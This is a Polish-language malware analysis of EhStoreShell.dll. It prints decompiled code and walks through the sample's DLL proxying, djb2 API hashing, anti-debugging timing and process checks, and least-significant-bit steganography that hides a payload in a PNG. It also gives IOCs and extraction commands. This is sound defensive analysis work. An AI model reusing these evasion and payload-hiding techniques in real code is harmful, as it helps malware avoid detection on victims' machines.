Poniżej opiszemy najciekawsze naszym zdaniem mechanizmy, jakie zostały zastosowane przez twórców tego malware (DLL Proxying, API Hashing, mechanizmy utrudniające analizę oraz zaimplementowaną funkcję ukrywania danych w pliku PNG).
Name: EhStoreShell.dll
MD5: 4423B8F3456E54EB48DFBDE0B4C7984B
Rozmiar: 216 KB
Architektura: 64bit
Entry Point: 0xDC6C
Eksportowane funkcje: DllCanUnloadNow, DllGetClassObject, DllRegisterServer and DllUnregisterServer.
Z entry point oraz DLLMain() wywoływana jest główna funkcji zawierający złośliwy kod FUN_18000be40(). Zawiera ona najważniejszą funkcjonalność dla tego etapu ataku.
Mechanizm importowania funkcji API
API Hashing
Po załadowaniu bibliotek do pamięci za pomocą LoadLibrary() w kolejnym kroku pobierane są adresy wybranych funkcji API. W kodzie malware nie mamy nigdzie nazw tych funkcji. Są jedynie wartości 4 bajtowe wartości hash. Ten mechanizm jest często spotykany w implementacjach złośliwego kodu a nazywa się API Hashing.
Na końcu umieściliśmy całą zdekodowaną funkcję (FUN_180009f20), która odpowiada za wyszukiwanie adresów API na podstawie wartości hash.
Funkcja zaczyna od walidacji czy wskazany w przekazywanym parametrze adres wskazuje na bibliotekę. Są to warunki dotyczące początku pliku (0x5a4d - “MZ”) czy sygnatury pliku PE (0x4550 “PE\0\0”). Następnie sprawdza tablicę eksportu (offset nagłówka PE (0x1e) + 0x88 to RVA (relative virtual address) tablicy exportu a offset nagłówka PE (0x1e) + 0x8c to rozmiar. Wtedy odbywa się krokowe przejście przez wszystkie nazwy i liczenie wartości hash. Odpowiada za to ten fragment:
iVar5 = 0x1505;
for each byte b in name:
iVar5 = iVar5 * 0x21 + (uint)bVar1;
Pod tym adresem można znaleźć informacje o wybranych funkcjach hash dla ciągów znaków http://www.cse.yorku.ca/~oz/hash.html. Zaimplementowana w malware funkcja hash to algorytm djb2.
Tzw. Initial Seed jest identyczny. Ta liczba pierwsza wynosi 5381 to 0x1505. (hash << 5) + hash jest równoważne z hash * 33.
Funkcja następnie porównuje wygenerowany hash z wartością przekazaną przy wywołaniu (wartość jest zapisana w pliku malware) iVar5 == *piVar10. Jeśli wartości się zgadzają, zapisuje adres funkcji.
Poniżej przykład wywołanie tej funkcji (FUN_180009f20). Jako drugi parametr przekazywany jest hash zapisany w pliku (&DAT_180034e00) i wynosi 0x7487495B.
void FUN_18000a070_Resolver_API(short *param_1)
{
undefined4 *local_18;
undefined8 uStack_10;
local_18 = &DAT_180034e00;
uStack_10 = 8;
FUN_180009f20_Resolver_API(param_1,&local_18);
return;
}
Spróbujmy, sami znaleźć nazwę funkcji dla tego hash. W naszym repozytorium znajduje się skrypt, który implementuje algorytm djb2. Skrypt pobiera tylko jeden parametr - nazwę biblioteki. Jak widać poniżej wartości hash odpowiada funkcji API ExpandEnvironmentStringsW().
$ python apihash.py kernel32.dll | grep 0x7487495b
ExpandEnvironmentStringsW | 0x7487495b
Drugie wywołanie funkcji FUN_180009f20 ale tym razem podana jest druga biblioteka ntdll.dll.
$ python apihash.py ntdll.dll | grep 6793c34c
NtAllocateVirtualMemory | 0x6793c34c
Trzecie wywołanie zwraca nam nazwę: LoadLibraryA().
Następnie ładowana jest biblioteka (LoadLibraryA(“ehstorshell.dll”)) i zapisuje uchwyt w DAT_180035228.
DAT_180035228 = (HMODULE)(*pcVar6)(pppppppuVar9); //LoadLibraryA(“ehstorshell.dll”)
DLL Proxying
Poniżej fragmentu kodu, który odkodowują nazwy 4 eksportowanych funkcji z EhStoreShell.dll.
FUN_18000b4b0_dekoder_xor(&DAT_180024490,(undefined1 (*) [32])local_58); //odkoduje DllCanUnloadNow
Zobaczmy jedną z tych funkcji po dekompilacji.
HRESULT __stdcall DllCanUnloadNow(void)
{
HRESULT HVar1;
HVar1 = (*_DAT_180035200)();
return HVar1;
}
Dla DllCanUnloadNow() jest wyłącznie wskaźnik do miejsca w pamięci _DAT_180035200.
Spójrzmy jeszcze raz na fragment kodu, który jest zaraz po odkodowaniu nazw bibliotek:
FUN_18000b4b0_dekoder_xor(&DAT_180024490,(undefined1 (*) [32])local_58);
FUN_18000b290_dekoder_xor((byte *)&DWORD_180024438,(undefined1 (*) [32])local_78);
FUN_18000b290_dekoder_xor(&DAT_1800244a8,(undefined1 (*) [32])local_98);
FUN_18000b040_dekoder_xor(&DAT_1800244c0,(undefined1 (*) [32])local_b8);
pcVar6 = (code *)FUN_18000a0f0_Resolver_API(-0x30ce44e1);
puVar10 = local_58;
if (0xf < uStack_40) {
puVar10 = (undefined1 *)CONCAT71(local_58._1_7_,local_58[0]);
}
_DAT_180035200 = (*pcVar6)(DAT_180035228,puVar10);
Pod pcVar6 jest adres funkcji GetProcAddress(). Wynik zapisywany w _DAT_180035200.
pcVar6 = (code *)FUN_18000a0f0_Resolver_API(-0x30ce44e1);
Wartość -0x30ce44e1 (czyli 0xcf31bb1f w formacie unsigned)
Weryfikacja skryptem apihash.py:
$ python apihash.py kernel32.dll | grep cf31bb1f
GetProcAddress | 0xcf31bb1f
Jak widać malware nie używa własnego resolvera do wszystkich adresów API - tutaj pobiera standardowe API aby uzyskać dostęp do adresu funkcji.
Mechanizmy Anti-analysis
Test #1. Sprawdzenie czy uruchomiony kod działa w kontekście procesu explorer.exe.
Za pomocą funkcji GetModuleFileNameW() pobierana jest pełna ścieżka uruchomionego procesu. Następnie nazwa procesu porównywana jest z ciągiem znaków explorer.exe.
Malware został zaprojektowany tak, aby uruchamiać się wyłącznie jako DLL podpięty pod konkretną usługę. Oddzielna analiza dynamiczna samej biblioteki za pomocą debuggera czy sandboxa będzie wykryta.
Test #2. Czas wykonania funkcji
Zaimplementowano mechanizm sprawdzający czy funkcja Sleep(3000) oraz Resolver_API wykona się w określonym czasie. Poniżej ten fragment:
FUN_18000bd60_check-debug((longlong *)local_d8);
pcVar6 = (code *)FUN_18000a0f0_Resolver_API(0xe19e5fe);
(*pcVar6)(3000);
FUN_18000bd60_check-debug((longlong *)&local_e8);
if (2899999999 < (longlong)local_e8 - (longlong)local_d8[0]) {
Funkcja FUN_18000bd60() pobiera za pomocą funkcji QueryPerformance* precyzyjny czas. następnie wywołuje raz funkcje odczytującą adres funkcji API oraz Sleep(3000). Hash 0xe19e5fe to właśnie Sleep().
Na końcu sprawdza czy faktycznie minęło około 3 sekundy. Taki mechanizm może wykryć system który np. przyśpiesza lub ignoruje całkowicie funkcje sleep().
Plik SplashScreen.png
Zanim go wczyta, pobiera adres GetLastError i wywołuje go. Sprawdza czy zwracany kod błędu jest różny od 0xb7 (ERROR_ALREADY_EXISTS). Gdy jest to pierwsza instancja malware to wywoływany jest sleep() i następnie wczytanie do pamięci pliku PNG.
Poniżej ten fragment:
pcVar6 = (code *)FUN_18000a0f0_Resolver_API(0x2082eae3);
iVar1 = (*pcVar6)();
if (iVar1 != 0xb7) {
do {
pcVar6 = (code *)FUN_18000a0f0_Resolver_API(0xe19e5fe);
(*pcVar6)(15000);
FUN_1800012a0_dynamic_load_exec_code((undefined8 *)pbVar5,local_40[0]);
} while( true );
}
Chwilę przed tym sprawdzeniem jest próba wywołania CreateMutexA z wartością: ukqh3vuaoh2vy3v
Następnie dzieje się coś bardzo ciekawego. Z pliku PNG ekstraktowany jest fragment danych. Pierwsza funkcja sprawdza rozmiar danych do ekstrakcji, następnie alokowana jest pamięć a na końcu kopiowane są tam dane.
FUN_1800019c0_check_size_of_payload((longlong)local_60,iVar8,(byte *)param_2);
pbVar3 = _malloc((ulonglong)*param_2);
FUN_180001b60_extract_from_png((longlong)pvVar5,iVar8,pbVar3,*param_2);
Druga funkcja FUN_180001b60() ekstraktuje dane z użyciem technik steganografii. Na podstawie analizy tej funkcji spróbujmy sami odkodować prawdziwy payload.
Steganografia
Zobaczmy zatem na plik PNG w edytorze szesnastkowym. 7801 to nagłówek strumienia zlib, określający parametry kompresji. Malware w funkcji FUN_1800099b0 rozpakowuje go.
Spróbujmy za pomocą poniższego skryptu (png_zlib_extract.py) python "rozpakować" go, aby otrzymać surową tablicę bajtów RGBA.
from PIL import Image
img = Image.open("SplashScreen.png").convert("RGBA")
d = img.tobytes()
print(d.hex(" "))
Po przeanalizowaniu funkcji dekodującej PNG (FUN_180001b60) możemy zauważyć, że odczyt payload zaczyna się od offsetu 0x22 ale w warunku IF jest iVar3 - 2 czyli z 0x20. Następnie odczytywanych jest 8 bajtów z których powstaje 1 bajt danych payload.
Poniżej przykład dla pierwszych 8 bajtów:
offset : szesnastkowo : binarnie
-------------------
0x20 : FE : 11111110
0x21 : FE : 11111110
0x22 : FE : 11111110
0x23 : FF : 11111111
0x24 : FE : 11111110
0x25 : FE : 11111110
0x26 : FF : 11111111
0x27 : FE : 11111110
Zapiszmy teraz najmniej znaczące bity: 0 0 0 1 0 0 1 0.
Odwróćmy teraz kolejność: 00010010 -> 01001000 i zapiszmy szesnastkowo wartość 0x48.
Zróbmy to samo dla kolejnych 8 bajtów od 0x28 do 0x2f. Złożenie najmniej znaczących bitów daje wartość 0x81.
Tym sposobem jesteśmy w stanie odkodować payload. Powstanie on po zastosowaniu techniki steganograficznej opartej o odczyt najmniej znaczących bitów z tablicy RGBA pliku PNG.
Sprawdźmy, czy poprawnie odbudowaliśmy pierwsze bajty. Poniżej zrzut z ekranu debuggera w momencie przekazania kontroli do nowego payload-u. Instrukcja call do adresu znajdującego się na stosie [RSP+30] prowadzi do 0x24F5D970000. Pierwszy bajt to 0x48 a drugi to 0x81.
W tym momencie możemy zapisać fragment pamięci do pliku. Druga metoda to przygotowanie skryptu dekodującego. Gotowy skrypt (png_zlib_extract_decode.py) znajduje się w naszym repozytorium.
Po odkodowaniu całości pliku otrzymujemy dane, które składają się z trzech fragmentów.
- Payload, do którego biblioteka EhStoreShell.dll przekazuje kontrolę
- Ciągi znaków (nazwy funkcji i bibliotek), które są używane przez payload do lokalizacji adresów funkcji
- Kolejny plik wykonywalny.
Plik wykonywalny możemy wyodrębnić w następujący sposób:
$ dd if=wynik of=pe_file bs=1 skip=2363
64512+0 records in
64512+0 records out
64512 bytes (65 kB, 63 KiB) copied, 0.058534 s, 1.1 MB/s
$ file pe_file
pe_file: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
$ md5sum pe_file
6f528ad405bffa4a8c2f61b1fa2172fd pe_file
Jest to plik wykonywalny 32 bitowy i jest przeznaczony na środowisko .NET.
Podsumowanie
Źródła:
[1] https://github.com/Prevenity/malware_scripts
[2] http://www.cse.yorku.ca/~oz/hash.html.
Funkcja opisywana w artykule, która jest implementacją rozwiązującej adres API.
void FUN_180009f20_Resolver_API(short *param_1,undefined8 *param_2)
{
byte bVar1;
int iVar2;
uint uVar3;
uint uVar4;
int iVar5;
longlong lVar6;
byte *pbVar7;
uint uVar8;
ulonglong uVar9;
int *piVar10;
int *piVar11;
ulonglong uVar12;
piVar10 = (int *)*param_2;
piVar11 = piVar10 + param_2[1] * 0xc;
do {
if (piVar10 == piVar11) {
return;
}
if ((((param_1 != (short *)0x0) && (*param_1 == 0x5a4d)) &&
(lVar6 = (longlong)*(int *)(param_1 + 0x1e), *(int *)(lVar6 + (longlong)param_1) == 0x4550))
&& (iVar2 = *(int *)(lVar6 + 0x8c + (longlong)param_1), iVar2 != 0)) {
uVar3 = *(uint *)(lVar6 + 0x88 + (longlong)param_1);
uVar12 = (ulonglong)uVar3;
uVar9 = 0;
uVar4 = *(uint *)((longlong)param_1 + uVar12 + 0x18);
if (uVar4 != 0) {
do {
iVar5 = 0x1505;
pbVar7 = (byte *)((ulonglong)
*(uint *)((longlong)param_1 +
uVar9 * 4 +
(ulonglong)*(uint *)((longlong)param_1 + uVar12 + 0x20)) +
(longlong)param_1);
bVar1 = *pbVar7;
while (bVar1 != 0) {
pbVar7 = pbVar7 + 1;
iVar5 = iVar5 * 0x21 + (uint)bVar1;
bVar1 = *pbVar7;
}
if (iVar5 == *piVar10) {
uVar4 = *(uint *)((longlong)param_1 +
(ulonglong)
*(ushort *)
((longlong)param_1 +
uVar9 * 2 + (ulonglong)*(uint *)((longlong)param_1 + uVar12 + 0x24)) *
4 + (ulonglong)*(uint *)((longlong)param_1 + uVar12 + 0x1c));
if ((uVar4 < uVar3) || (uVar3 + iVar2 <= uVar4)) {
lVar6 = (longlong)param_1 + (ulonglong)uVar4;
goto LAB_18000a011;
}
break;
}
uVar8 = (int)uVar9 + 1;
uVar9 = (ulonglong)uVar8;
} while (uVar8 < uVar4);
}
}
lVar6 = 0;
LAB_18000a011:
*(longlong *)(piVar10 + 2) = lVar6;
piVar10 = piVar10 + 0xc;
} while( true );
}















